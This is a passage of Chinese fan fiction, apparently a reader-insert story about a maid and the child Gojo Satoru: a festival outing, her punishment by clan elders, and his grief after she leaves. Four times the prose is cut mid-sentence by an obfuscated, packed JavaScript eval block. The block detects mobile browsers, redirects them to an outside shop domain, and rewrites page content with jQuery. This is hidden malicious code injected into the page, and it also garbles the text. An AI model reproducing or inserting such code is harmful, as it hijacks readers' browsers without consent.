毛茸茸的触感包裹住耳朵,有些痒。 侍女们立刻转移了目标—— “哇啊真的可爱!” “转一圈转一圈!” “快拍下来!” 戴帽子的举动太突然,你红着脸站在原地。刚才指挥的有多畅快,现在脸就有多红。 你不知所措地看向五条悟。他正双手抱臂,歪着头打量你,带着孩童特有一闪而过狡黠的微光。 “嗯。”他点点头,“确实可爱。” 然后他伸出手,捏了捏帽子上垂下来的毛球。 虽然平时大大咧咧,但在这样的大庭广众之下,还是有些不习惯。 “少、少爷……”你小声嘟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192523|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 囔,要把帽子摘下来,却被五条悟拉住袖口。 “别动。”他说,然后转向那群侍女,“拍她。” 侍女们愣住了,相机在几个人手里传来传去,最后落到了最年轻的那个手上。她紧张地举起相机,对准了你。 “欸!等、等一下——”你下意识想躲,却被五条悟拉住了袖子。 “咔嚓”一声,画面定格。 你局促想要躲避的表情,头顶毛茸茸的帽子,还有旁边五条悟小小的侧脸,正攥着你的袖口,全都留在了那张相纸里。 “太狡猾了!” 你看着相纸,大声反驳,“明明一开始是说给您拍的!” “啊,对啊对啊。”侍女们像是如梦初醒,又立刻转移了视线。 “还是少爷您来吧!少爷来吧,少爷来吧!” 五条悟没有理会那些起哄的声音,只是低头看着慢慢显影的照片。 过了几秒,他抬起头,看着你。 “这张照片,”他指了指你手里那张,“给我。” “欸?” 你愣了愣,“可是这张很糊,而且您只有一半的身子。” “我不介意。” 他说,“你刚才拍了我很多张。这一张,归我。” 听上去好像没有什么大问题,毕竟这一就算五条少爷只有一半露镜,也依然真的很可爱。 你犹豫了一下,坐下身,点点头。 五条悟接过来,仔细看了看,收进袖口。 “那您也要拍一张。” 你说,拿下帽子,“我都拍了欸!如果您不拍,我会觉得很不公平的。” 手刚碰到帽子,头顶多了一道重量按下去。 “下次。” 五条悟说,声音轻轻的,已经按住你准备取下的帽子,“下次再一起拍。” 侍女和你发出失望的叹息声。 尤其是你,想看的没看到,居然还被五条少爷袭击了。 一直到结束,院子里的侍女们都离开了,你在桌上收东西。 拍立得放在了桌子上,大约是方便下一次继续拍照,同时这里也比侍女休息室要更安全。 你低着头整理书桌,纸和笔都放在一起,五条少爷走过来,坐在你旁边。 “怎么啦?” 你问,没有回头看他,一直等收拾的差不多干净了,转过身。 “嗯?怎么了?” 见一直不说话,你问。 五条悟看着你,白色的睫毛下垂了垂,身后拿出一个东西,戴在了自己头上。 你第一秒没反应过来,下一秒反应过来,手里的布都掉了。 你捂住嘴,大吸一口气,眼睛里止不住的闪烁。 那顶毛茸茸的白色帽子,两个半圆形的耳朵软软地垂下来,衬得他白皙的小脸。 五条悟侧过脸,对于你惊讶的反应没有太大起伏,像是已经是意料之中。只是微微偏过头,没有看你。 “好可爱!啊啊好可爱好可爱好可爱好可爱!!” 你语无伦次,又想抱,又急的拿相机,一时间都手忙脚乱起来。 五条少爷还是没搭话,只是任由你抱着他,像抱住一只小猫般。 不知道是热的还是闷的,帽子下的耳垂已经发红。 “拍吧。” 五条悟说,还是没有看你。 “只能一张。” 你疯狂点头,拿起相机。 咔嚓。 相机定格。 “……这张,”你说,抬起头,“可以给我吗?” 五条悟看着你。 “你刚才拍了很多张。”他说。 “可是这张不一样啊。” 你说,用手捂热相纸,“这张是少爷主动戴上的。” 五条悟沉默了几秒,然后伸出手。 你以为是来拿照片的,有些不舍地递过去,他却只是拿走了拍立得。 “那你要收好。” 他说,声音轻轻的,“不许弄丢。” 两张不同视角的照片,一张是你局促想要遮挡戴着那顶帽子,另一张是五条少爷故意不去看你的脸。 你们唯一的共性,是那顶不知道是猫还是豹子的帽子。 五条少爷的那张被你小心翼翼保存起来,以至于很久很久之后,边缘已经有些斑驳,你还能看见小小的五条少爷上,小小的脸。 很久后的某一天你问他,为什么之后又想拍了。 五条少爷只是淡淡扫了你一眼,说没有为什么,只是看见了,所以突然想。 看见了,所以突然觉得应该和你留下些什么作为纪念。 看见了,所以想办法让你顺理成章拿着相机,来找他拍照。 看见了,所以在上一次外出时,用双倍的价格买下了这款拍立得。 就像在书房里的一样,看见你腿边那顶白色的帽子,所以想戴上去。 在无人的地方,只有我和你,对你说,“只是突然想。” 14.不悦的小少爷 27 初春。 五条少爷问你想不想出去。 “去哪里?” 你正在铺被子,“外面的话,家主大人和夫人都在大厅吧。被发现了会责怪我们的。” “不是。” 你小小松了口气。 “是五条家的外面。” 你大大吸了一口气,瞳孔都有些放大。 “什、什么!” 你大惊,扑过去,“您要出去吗?那怎么可以!很危险的少爷,外面会有特别特别多的坏人!他们都在暗处窥觊您!一定一定不可以哇!!” 你抓着他的袖子呜呜跪坐在地上,似乎从某一个时段开始,你可以碰见五条少爷,而不是屏障。 其实两者没差别,你不是很介意。但少爷似乎很在意。 “没有那么严重。” 五条悟说,拍了拍你的头,“很弱。所以,很安全。” 拍头的动作有些似曾相识,你记得好像是你之前拍拍他的动作。 你抬起头,张了张口,却没说话。 他站直身,伸手把你从地上拉起来。 “去换衣服。”他说。 “我们去看烟花。” 28 这是你第一次出门。 原本以为会很局促或者害怕,却只短短二十分钟,你就已经肉眼可见的玩开了。 春日祭的人很多,暖黄色的灯笼高高悬挂,被风吹着四处摇晃。 一旁的金鱼在水池里游动,糖苹果裹着晶莹的糖衣,被人们拿在水中,面具摊上摆着狐狸和天狗的彩绘面具。 “太热闹了——!” 你止不住雀跃,身上女仆服饰的和服绊住你的脚,所以你不能跳得太高。 五条悟看了你一眼,聚焦在你繁琐且长款的裙摆上。 “不是叫你换衣服了吗。” “对呀!” 你拉了拉和服的两边,对着五条悟行了一个在五条家十分规范的礼仪,“这就是我最好的衣服了,全新的呢!” 你凑近,低声了些:“而且,如果我跟在您后面,有侍女跟着,不怀好意的人一看就知道您是富裕人家的少爷,自然不会在光天化日下对您不利了。” “……” 五条悟没说话,只是看着你笑眯眯的脸,最后缓缓吐了一口气。 “不用跟在我后面。” 他说,“走旁边。” 你愣了愣,还没来得及反应,他已经牵住你的手,拉到一旁。 握住的手没有松开,隔着衣料,你能感觉到他掌心的温度。 五条悟垂眸,似乎在看你的裙边。 “少爷?”你疑惑地看他。 五条悟拉着你到一处摊位前,有关发饰和饰品的摊位闪闪发光。 “这个。”他指着一条红绳。 摊主热情地递过来,五条悟接过。 “把裙子提起来一点。”他说。 你停顿了一下,照做。 然后在你的视线中,五条悟弯下腰,用那根红色系带在你脚踝处的裙摆上轻轻绕了一圈,打了个精巧的蝴蝶结。 裙摆被收短了几寸,不会再绊到你的脚。 在这样人来人往的街道中,被誉为“神子”的五条悟弯下了腰,居然在解决你的长裙会不会被绊倒。 你有些发愣,以至于五条悟直起身,重新拉住你的手,你还在发愣。 “你在愣什么?” “少爷,下一次不要在侍女面前这样了。” 五条悟抬起头,看你。 “哪样。” “弯腰……帮我系裙摆。” “为什么?” “因为您是五条家的少爷。” 你顿了顿,轻声说,“少爷是不应该做这种事情……” “那又怎样。” 五条悟说,语气很淡,“我想对谁好,就对谁好。” “而且,也不是第一次在你面前这样了。” “……欸!?” “忘记了吗?” 五条悟看了你一眼,开始拉着你朝前走,“之前的时候。你总是让我去给你拿铲子和地上的种子,还准备让我去打水,但是被侍女发现了,她骂了你。” 你震惊了,这都好几年前的事情了,那个时候五条少爷还非常非常小。 ……不是说小孩子没开智前可以随便玩吗! “这个……哈哈,咦?那边的金鱼好漂亮哦!我们去看看吧!” 你快速转移话题,好在少爷没深究,跟着你到了一处捞金鱼的摊位。 “想玩?” “可以吗?”你眼睛亮了,“但是捞金鱼好像要技巧……” 他已经向摊主付了钱,把纸网递到你手里。 你没有玩过这种。只是看周围人的动作,蹲在池边。 小鱼游来游去,金色和红色颜色各异。 你小心翼翼地用纸网去捞那尾红色的小金鱼。纸网刚碰到水就软了,金鱼轻巧地游开,第一次尝试宣告失败。 “啊……”你有些沮丧。 五条悟在你身边蹲下,看着你在第二次尝试中又失败,第三次纸网直接破了个洞。 “给我。”他说。 你乖乖把纸网递过去。只见他动作很轻,纸网入水的角度刚刚好,那尾红色金鱼被他稳稳捞起,落入小碗中。 “哇!”你惊喜地叫出声,“少爷好厉害!” 摊主把装好金鱼的小袋子递给你,你捧着它,眼睛亮晶晶的。 “喜欢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216940|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 你点头。因为从来没有养过活物,所以小动物什么的对你来说都十分新奇。 五条家也有鱼,但是十分大气且大型的锦鲤鱼,会咬手的那种。 和这种装在透明袋子里,眼睛一闪一闪的小金鱼完全不一样。 “但是,我该怎么养?” 你思索片刻,“侍女不可以养小动物欸……好可惜,放家里的池子里,会立刻被吃掉的吧。” 你长叹一口气,晃了晃袋子,“早知道就不抓它们了。” “放在我房间里。” 五条悟没有看你,“我帮你养。” 你捂住嘴,忍住想要抱抱他的冲动,“少爷,您太好了!” “我听说金鱼很简单的,和锦鲤应该差不多。大家都是鱼类,只需要喂食,保持水温和氧气就可以了。” “之前有位侍女姐姐她有鱼粮饼干,我到时候找她借一点。” “每天喂一点点,换水的任务也可以交给我,反正我时不时就要过来一次嘛,还是挺方便的。” 你提着袋子,满脸欣喜,目不转睛盯着金鱼,嘴里碎碎念念。 你没注意到五条悟站在你身旁,目光却看着不远处几个成群结伙的男人中。 他们在距离不远的地方,穿着普通的祭典服装,却时不时投来打量的目光。 准确来说,是你。 从刚才在金鱼摊时,那些扫视的,嬉笑的目光就已经凝聚在你身上。 虽然和服常见,但这种长款和服女仆式的服装并不常见。 再加上刚才捞动金鱼时停留的动作,已经引起不少人的注意。 他们不是咒术师,只是普通的非术师。 为首的一个男人被怂恿着,拿着手机,嬉笑着走过来。 你毫无察觉。 “走吧。” 五条悟说,声音比刚才淡了些,拉住你的手,“去前面看看。” “前面?前面不是看过了吗?应该是那边吧……” 去哪里你倒是无所谓,本能跟着五条悟走,视线已经被前方迎面而来的花灯吸引。 “嗨,小姐,一个人吗?要不要和我们一起……” “杂碎。” 五条悟抬眸,苍蓝色的眼眸里流转着不属于这个年龄的锐利。 “滚。” 搭话的男人瞬间僵在原地。他们看不见咒力,却本能地感受到一股寒意,拿着手机的手都顿在原地。 游行的花灯越过你,热闹的气氛,欢快的鼓点。 你这才回过神来,愣愣地看着五条悟。 “少爷……?” 他转过头,蓝色的眼眸只剩下一丝淡淡的不悦。 “走了。”他又拉起你的手。 “跟紧我。” 15.沉默的小少爷 29 五条悟的步伐比刚才快了一些。 他依然牵着你的手,你却隐隐约约有些吃力,逐渐跟不上。 “那、那个,少爷。” 五条悟没说话,只是攥着你拇指的手,很用力。 你被他拽着踉跄了几步,终于忍不住轻轻拉了拉他的袖子。 “五条少爷……” 五条悟停下脚步,却没回头。白色的睫毛有些挡住眼眸,你看不清他详细的表情,却知道他攥着的很紧。 你绕到他面前,弯下腰。 他抿着唇,眉头微蹙,苍蓝色的眼眸里,是你从未见过的情绪。 “还好吗少爷,”你轻声问,“是不是刚才那些人……” “不是。”他打断你,别过脸去。 你静静等了一会儿。 “你刚才,”他的声音很轻,“被他们看着的时候,害怕吗?” 你回想了一下,诚实地摇摇头:“没注意到。” 五条悟抬起头,那双苍蓝的眼睛直直望向你。 “那如果注意到了?” “少爷,”你认真地看着他,“您在,所以我不会害怕。” 五条悟微愣,没有说话。 “况且只是搭讪而已,我会很快速的拒绝的哦!” 你笑道,偏了偏头。 “如果我不在呢?” “欸?” “如果今天你是一个人出来,”他依然固执地问,“你会害怕吗?” 你停顿片刻,开口道。 “我不会自己一个人出来。” “除了和您一起,我不会自己一个人出来。” “所以,这个问题不存在。” “……” 五条悟垂了垂眸,白色的睫毛遮挡住眼帘。 他许久没说话,你也只是蹲在他面前,像在五条家的一样,没有催促。 人群来来往往的走过去,手里金鱼的袋子小鱼游来游去。 “我不喜欢他们看你的目光。” 五条悟说。 “我不喜欢任何人看你,男人,女人,长老,哪怕是侍女。” 他顿了顿,“我不喜欢。” 你愣住。 少年的话语直白得近乎任性,那双苍蓝的眼眸终于抬起,直直望进你眼里。 “但是你总是出现在他们眼里。” “像一只蝴蝶,出现在任何一个我找不到的地方。就像我在屋内坐一整天,你也不会来找我一样。” 周围依然热闹,但你却感觉好像屏蔽了一切。 你忽然想起那些他凑巧出现在你打扫的庭院里的日子,正好经过你房间门口的瞬间,你以为每一次都是偶遇。 原来都不是偶遇。 “所以我讨厌他们看你。” 五条悟轻声说,“因为他们随时都能看见你,而我不能。” “明明你一直都是我的侍女。” 你看着他,却不知道可以说什么。 “少爷。” 你轻轻开口。 “其实,人与人之间的关系是很浅薄的。” “我们总是与太多人朝生暮死,露水情缘。就像这条红绳。” 你拿下裙边的红绳,举在两个人面前。 “抓的太紧,会断掉。握的太松,会掉落。” “所以我一直在想,我对少爷来说,到底应该是什么样的存在。太近了会冒犯,太远了怕疏离。最后我选择了最安全的方式——做一个尽责的侍女。” “但少爷刚才说的那些话,”你抬眼看他,“让我觉得,我好像一直都想错了。” 你忽然笑了一下,把红绳的一端轻轻塞进他手里,自己握着另一端。 “如果人与人之间的关系真的很浅薄,那我们就抓再紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223437|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点吧。” “总归是会要断掉的,那么在有限的时间里,短暂的相遇中,紧到用红绳牢牢束缚住,直到它彻底断开的那一刻。” 苍蓝色的眼眸注视着你。 在这样人来人往的巷口中,整个世界就好像只剩下了你们。 黑暗的夜空中,突然爆发出一朵金色的烟花。 星星点点在你们中间散开,照亮了他白色的发丝。 五条悟握着红绳的手微微收紧。 “那如果,我一直紧抓,它是不是就不会断。” 五条悟看着你,苍蓝色的眼眸里没有任何玩笑的意味,只有一种超出年龄的认真。 “我会变得很强。” 他说,“强到没有人能伤害你,强到没有任何东西能把我们分开——一根红绳,也别想断。” 你微愣,有些无奈。 “少爷……” “我不是在开玩笑。”他打断你,握着你手腕的力道重了一点,“你刚才说的那些话,我都记住了。” “我不会让你离开我,不管是五条家,是春日祭,还是任何一个其他地方。” “你都是我的。” 烟花腾起又绽放,大面积的金色,点缀了整个夜空。 你笑了笑,这一次没说话。 而是握住他的手,直起身,低下头,轻轻触碰在他的额前。 五条悟整个人僵住了。 烟花的轰鸣声在耳边炸开,金色的光芒在他白皙的脸上明明灭灭,但他什么都听不见了。 所有的感官,都只剩下额前那一触即离的温热。 等他回过神来时,你已经直起身,正笑眯眯地看着他,手里还提着那条金鱼。 “看!少爷!” 你回头,指着最大的那朵,“是烟花哦!” “嘭”的一声。 五条悟看见烟花在你指尖闪烁。 16.受伤的小少爷 30 人与人之间的关系本就薄如蝉翼,指尖细沙。 你也十分清楚这一点。 红绳握得再紧也会断掉,你越聪明就会越清楚,幸福本身就是一个陷阱。 31 身为少爷的贴身侍女,在无上报和说明情况下私自外出。 无视规定,诱.导少爷涉足险境,置五条家继承人于危难之中。 僭越上级,举止失当,逾越主仆之分。 你被检举了。 32 护卫的人来的时候,你正在房间里收东西,一群人闯入你的房间,迫使你跪下。 一条条罪行像罪书一样落下,你双手趴在地上,头抵着手背,瞳孔瞪得无比大。 外面围了好一些侍女,纷纷露出关切担忧的目光,一个人都不敢动。 没有人问你是否认罪,也没有人询问你事情的来由。 你被拖着关进禁闭室,禁闭室很暗,只有高处一扇小窗透进些许月光。 你蜷缩在角落里,膝盖抵着胸口,听着外面偶尔传来的脚步声。 咒术师家的禁闭不是简单的禁闭,尽管只是一些低阶的小咒灵,但对于什么都看不见的普通人来说,几乎是折磨。 但它们似乎不太敢靠近你,你不知道是手腕那条红绳的原因,还是因为和五条少爷待得太久,所以沾染了气息。 没有实质上的伤害,但恐吓和无水无粮的痛楚还是让你倍感折磨。 你开始想,他们什么时候才会放你出去。 34 你很无聊,你开始编绳子玩,那些咒灵距离你有一段距离,像是想要吃掉你,但又不敢靠近。 34 你好饿,真的好饿,你已经不奢望饼干了,什么都可以。 35 你感觉自己快死了。他们想要饿死你吗? 33 有人来找你说话了,他们撬开了你的门,只有一点缝隙。 不是五条少爷。 “我记得你是少爷身边的人。” 一个长老,你见过,上一次在新年,他和少爷坐在一起。 门只开了一点,你看不见他的脸,只能看见他洁白的衣袍,手边的权杖。 以及下垂着注视着你的眼眸,仿佛多一个眼神都是施舍。 “你知道你在做什么吗?” 他用权杖的底部抬起你的下巴,你实在一点力气也没有了,只是仍由那根冰冷刚碰过地面的东西碰到你的脸。 “五条悟是是五条家的未来,是咒术界的希望。” “而你,一个低贱的侍女,也敢觊觎他?” “回答我。” 你想说话。 但是你真的饿的没办法了。 你的每一个神经,每一个细胞,都在说,饿啊~饿啊~饿啊~ 权杖松开你的下巴,你继续趴在地上。 “你知道像你这样的侍女,五条家有多少吗?” “每年都会有新的进来,每年也都会有旧的消失。没有人会记得你,没有人在意你去了哪里。你之于五条家,不过是一双穿旧了的草鞋。” “……你要我做什么。”你说。 长老回头看你,眼中闪过一丝微光。 “你很识趣。” 他说,“按照家规,是处死。不过事情收尾起来很麻烦。” “五条悟很聪明,如果处死你,他会追查到底。那孩子一旦认真起来,连家主都拦不住。” 他顿了顿。 “所以,我要你自己离开。” 你撑着地面的手指微微收紧。 “我自己离开?” “对。”长老说,“离开五条家,离开京都,永远不要再出现在他面前。我会给你一笔钱,够你安稳过完下半辈子。” 他俯下身,那双眼睛在昏暗中闪烁着危险的光。 “当然,你也可以选择留下。然后,在一个月内,因为意外死去。五条悟会难过一阵子,但孩子嘛,总会忘记的。” 你看着他。 “怎么样?”他直起身,“两条路,你自己选。” 空气在凝固,时间在流逝。 你笑出声,长时间没喝水的喉咙格外沙哑。 长老蹙眉,“你笑什么。” “好狗血的剧情。” 你忍不住想笑,却还是撑起身,“难道这是什么给你五十万离开我儿子的剧情。您是不是晚间档婆媳剧看多了?” 长老的脸色彻底沉了下来。 “放肆!” 权杖重重砸在地上,发出沉闷的声响。你被这声音震得一颤,却依然抬着头,直视着他。 “你以为你在和谁说话?” “我知道。”你的声音沙哑,却意外地平静,“您是五条家的长老,是能够决定我生死的人。” “那你还敢——” “因为我已经没有什么可失去的了。” 你一字一句,看着他的眼睛。 “我答应了他,所以,一定会做到。” 34 你一共被打了三棍。 其实第一棍下去的时候就已经想改口了,但是太疼了,疼得一下子说不出话来,第二棍就已经下来了。 被丢回房间的时候,周围的侍女全都围上来了,拿药的拿药,包扎的包扎,清理的清理。 场面乱成一团,就连平时对你威严的侍女长都露出担忧的神情,指挥着帮你处理伤口。 侍女们哭着说叫你不要睡,一定要坚持住。 你拍了拍她泪眼婆娑的脸,手垂下了。 你真的快困死了,又疼又困,没人跟你说那玩意打人是真疼啊。 35 你从贴身侍女降级到了最普通的侍女,无假期的那种。 工作比之前要繁琐很多,你缠好腰间的绷带,挣扎着准备站起身,被一个侍女扶住。 “我、我来帮你吧!” 你有些错愕,因为你没见过这个侍女。 “接下来的一周请都让我帮你,你好好休息吧!” 她说着就要哭出来,低着头始终不敢看你,声音都打颤。 “对、对不起,我只是想让你被家主大人责骂几句,好让出贴身侍女的身份,因为贴身侍女里面只有你是非术师,会更容易一些……” “但是我没有想到会这么严重,对不起、对不起!我没有想让你这么难受的,请给我赎罪的机会,这些天你先好好休息吧!” 她不等你开口,已经拿过你的衣服穿上,快步离开了房间。 从始至终,你都没有看见她的脸。 你张了张口,最后还是长叹一声,躺回去。 36 你睡着了,迷迷糊糊,有人走过来,在你身旁待了好久。 那个人蹲了下来,然后轻轻抱住了你。 转瞬即逝,这一次你也没看清那个人的脸。 37 五条少爷从加茂家回来了。 38 你感觉身上的伤好的差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226909|194493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了,这段时间意外的安稳,居然没有一个人来找你的麻烦。 或许,这也是伤口为什么好的这么快的原因。 39 下雨了,雨好大。 你在想晾在外面的衣服收了没有,里面还有你的。 40 身旁似乎有动静,你睁开眼,看见了五条少爷。 “……对不起。” 你愣神,你从来没有听见少爷说对不起。 41 “为什么要说对不起?” 你笑道,抬手想去撩他的头发,突然想起什么,又放下。 “我没事哦。” 你举了举手臂,展现并不存在的肱二头肌。 五条悟看着你没说话,他看上去状态似乎不是很好,白色的睫毛遮住眼眸,下垂着。 “少爷,”你轻声唤他,“您怎么了?” 五条悟没说话,只是握着你的手,指腹无意识地摩挲着你的手背。 那是你以前安慰他时常用的小动作。 你忽然意识到,他在学你。 “他们有没有骂你?”他问,声音闷闷的。 “没有。” “有没有饿你?” 你顿了一下,笑道:“也没有。” 五条悟抬起眼,苍蓝的眼眸直直看着你。 “……骗子。” 他小声说,然后从袖口里拿出一个东西,塞进你手里。 是一个用油纸包着的饼干,还带着他怀里的温度。 “哇。”这下你真的欣喜起来了,“我可以现在吃吗?” 五条悟点头。 外面的雨很大,你不知道他怎么出来的,但是可能和术士有关,所以身上没有一点水渍。 你们谁都没有说话,一直到你吃完饼干,他给你拿来水。 好一会,依然沉默。 “还疼吗?”他说。 “不疼。” “……那你会离开我吗?” 今天晚上他说话总是停顿,或是迟缓。 你思索了一下,摇摇头。 “不会。” 五条悟看着你,一直看着你。 “我会变强的。” 他说,“强到没有人能伤害你,没有任何人能把你从我身边带走。” “你之前问我什么时候娶你,我、我说了会的,所以,一定会。” 你有些失笑,“咦,这种话用于我们可能不太合适哦。” “不过,我记住了。” 你坐起身,移出来一小片空间,拍了拍膝盖。 “来吧。” 五条少爷看着你。 “来……什么?” 你笑了笑,又拍了拍膝盖。 “不是说累了吗?躺一会儿吧。”你说,“就像小时候那样。” 他沉默了几秒,然后慢慢挪过来,躺下,把头枕在你的膝盖上。 雾蒙蒙的月光照进你的房间,地板一小片区域被照得发亮。 一直到很久很久,你轻轻将悟少爷的头放在枕头上,站起身,衣角被拉住。 “你去哪里?” 你回头,看见蓝色的瞳孔。 “收衣服。” 你无奈地笑了笑,走到门口,“衣服不收的话,会下雨的哦。” 五条悟哦了一声,闭上眼。 你关上门,在门口站了一会,缓缓吐了一口气。 42 这是幼年时期的五条悟,最后一次见到你。 17.全文完 43 自从那次春日祭后,五条悟好一段时间没有没看见你。 侍女和周围的下人说你生病了,修养好了就回来了。 五条悟回想了一下,那天你的确穿的很少。 44 第四天。 春日祭的第四天,五条悟还是没有看见你。 生病会这么久吗?五条悟不知道,但是他也不能说想见你。 “不好吃。” “难看。” “不喜欢。” 他说了一堆拒绝的话,聪明的侍女就应该清楚是想让你来了。 但是她们不聪明,她们也不会让你快点好起来。 五条悟想,你为什么身体那么弱。 45 “少爷不如把金鱼喂得再大一点,或许等她回来后,会更开心的哦。” 侍女端着鱼缸递给他,五条悟看了看。 五条悟低头看着鱼缸里那尾红色的小金鱼。 它游得很慢,在小小的空间里一圈又一圈地转着。他不知道鱼会不会记得人,会不会记得那个提着它走了一整晚、笑得眼睛弯弯的人。 “她什么时候回来?” 侍女愣了一下,随即露出为难的表情,“这个……医生说要看恢复情况……” 五条悟没说话,丢了一颗鱼食进去。 黑色的鱼食摇摇晃晃,沉入水底,金鱼碰了碰,一口吃掉。 46 御三家例行的交流会,在加茂家。 无聊。 你什么时候好。 47 侍女说你好了,但受了些伤。 “受伤?” 五条悟的声音冷了下去。 “什么伤?” 侍女被他突然的语气变化吓了一跳,结结巴巴地说,“听、听说是……是……膝盖和后背……好像有淤青……” 话音未落,五条悟已经起身向外走去。 “少、少爷!您不能——” 侍女的话被抛在身后。 48 五条悟看见你了。 在房间,你平趴在榻榻米上,脑袋枕着手,后背被一条毛巾覆盖,草药味十分浓烈,隐约可见清晰的淤青。 他在你身旁坐了好久,白色的睫毛挡住眼眸,看不清神情。 49 “对、对不起少爷!求求您不要赶我走!对不起!对不起!” “求您了少爷!我会赎罪的!我、我一定会赎罪的!我会帮您好好照顾她,求求您不要让我走……” 50 他给你带了饼干。 你似乎很开心。 你并没有责怪他,但比起这个,他更担心你会不会不开心。 “你会离开我吗?” 年幼的继承人不应该问这种问题,年幼的继承人不应该有软肋。 你会离开我吗? 但他还是问了。 “不会。” 你看着他,轻轻说道。 “……嗯。” 像无数次回忆中的那样,阳光下你跪坐在草地上,指尖轻轻抚摸着他的发丝,膝盖软软的。 嗯。 五条悟垂下眸,躺在你的腿上。心里的大石头落地。 51 你离开五条家了。 醒来时是柔软蓬松的床垫,侍女纷纷跪在床头,低着头。 得知的第一个消息,是你离开了。 五条悟在床上坐了好久。 52 五条家少了一个侍女,没有一个人发现。 非术士的侍女没有名字,关系较好的好友中会相互取名称呼,但你没有朋友。 或许有,但还没有到可以叫出名字的程度。 没有人知道你的名字,没有人知道五条家少了一个侍女。 缺的那一个空位很快补齐了,一个不会在挖土时哼歌,盯着树上的鸟看,动作十分利落的侍女。 没有人记得你。 …… 除了五条悟。 53 鱼缸里的鱼晃了又晃,火金色的大尾巴游来游去。 五条悟侧趴在桌子上,鱼食摇摇晃晃,落入水底,被鱼一口吃掉。 初春,这是你离开的第一个月。 54 三天一换粮,五天一换水。 五条悟一直养着那条鱼,时间从未间断过。 旁系的人投其所好,送了无数条珍惜名贵的鱼,比这条普通到不能再普通的鱼好看一万倍,也全部丢给侍女喂养,从未多看过一眼。 火红色的大尾巴在鱼缸里快乐的游来游去,鱼鳞漂亮,尾巴鲜艳。 五条家的所有人都喜欢,五条少爷喜欢那条金鱼。 55 金鱼开始吐泡泡了。 五条悟不知道那是什么意思。 围了一圈,鱼缸周围全是细小的泡沫,红色的小鱼在水底忙来忙去。 “啊,是发情在筑巢了呢。” “……发情?” 侍女点点头,笑着说,“对呀,金鱼到了春天就会这样。说明它长大了,想要找伴侣了。” 五条悟低头看着那条忙碌的小鱼,沉默了很久。 “它会有伴侣吗?”他忽然问。 侍女被问住了,犹豫了一下,“这个……要看有没有合适的……” “如果没有呢?” “那……那可能就会一直一个人吧。” 五条悟没再说话。 他看着那条鱼在水草间游来游去,把泡沫堆成一堆,然后又散开,然后又重新堆起来。 它好像不知道自己在做一件可能没有结果的事。 就像他一样。 “……笨蛋。” 他小声说,也不知道是在说鱼,还是在说自己。 56 鱼缸周围的泡沫越来越多了。 五条悟担心会不会被它憋死。 “不会的,不过看样子或许可以给它找一条同类型的鱼配种。” 五条悟抬起眼,看着说话的侍女。 “配种?” “是、是的……”侍女被他看得有些紧张,“就是……给它找个伴侣,这样它就不会一直筑巢了。” “上次旁系家的大人似乎有送同类型的小金鱼过来,要不要我拿来看看?” 57 侍女拿来一只缸,和红色的小鱼隔着缸放在一起。 “先让它们熟悉一下彼此。” 五条悟弯下腰,透过鱼缸,两条小鱼不断在靠近的边缘游来游去,看上去很活泼。 “她似乎挺喜欢的。” 侍女说,“熟悉后可以尝试融入同一只缸。” 两条鱼相碰了。 鱼缸肉眼可见的活跃起来,两条鱼不停地触碰,追逐,最后很快的聚在一起,躲在最左侧的缸底。 “少爷,看样子您养的小鱼很喜欢他哦。” 侍女笑道,敲了敲鱼缸,“您看它们在一起多开心……” “分开。” “少、少爷?” 五条悟看着那两条挤在一起的鱼,苍蓝色的眼眸没有什么表情。 “把它们分开。”他重复道。 “可、可是……”侍女不知所措,“它们刚刚才熟悉,现在就分开的话……” “分开。” “那条新来的,放回去。” 58 鱼和你只需要记住两个人。 一个是他,另一个也是他。 59 你离开的第二年。 金鱼还是那个大小。 它沉入水底,鱼鳃很小幅度的轻轻煽动,早已没有一年前见到同伴时雀跃的样子。 天气渐凉,五条悟伸手,温暖的掌心靠近鱼缸,周围一点点回暖起来。 金鱼小幅度的游了半圈, 